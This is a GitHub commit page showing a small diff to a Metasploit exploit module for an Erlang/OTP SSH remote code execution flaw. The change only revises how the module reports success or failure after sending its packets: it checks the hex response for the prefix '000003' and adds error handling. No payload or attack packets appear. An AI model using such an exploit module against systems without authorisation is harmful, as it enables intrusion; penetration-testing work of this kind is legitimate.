Skip to content

Commit 8da70b6

Browse files
committed
modify exploit response message
Signed-off-by: RAMELLA Sebastien <[email protected]>
1 parent eef2fac commit 8da70b6

File tree

1 file changed

+13
-2
lines changed

1 file changed

+13
-2
lines changed

modules/exploits/linux/ssh/ssh_erlangotp_rce.rb

Lines changed: 13 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -242,12 +242,23 @@ def exploit
242242
begin
243243
response = sock.get_once(1024, 5)
244244
if response
245-
print_good('Packets sent successfully and receive response from the server')
246-
vprint_status("Received response: #{response.unpack('H*').first}")
245+
print_status('Packets sent successfully and receive response from the server')
246+
247+
hex_response = response.unpack('H*').first
248+
vprint_status("Received response: #{hex_response}")
249+
250+
if hex_response.start_with?('000003')
251+
print_good('Payload executed successfully')
252+
else
253+
print_error('Payload execution failed')
254+
end
247255
end
256+
rescue EOFError, Errno::ECONNRESET
257+
print_error('Payload execution failed')
248258
rescue Rex::TimeoutError
249259
print_error('Connection timed out')
250260
end
261+
251262
sock.close
252263
rescue Rex::ConnectionError
253264
fail_with(Failure::Unreachable, 'Failed to connect to the target')

0 commit comments

Comments
 (0)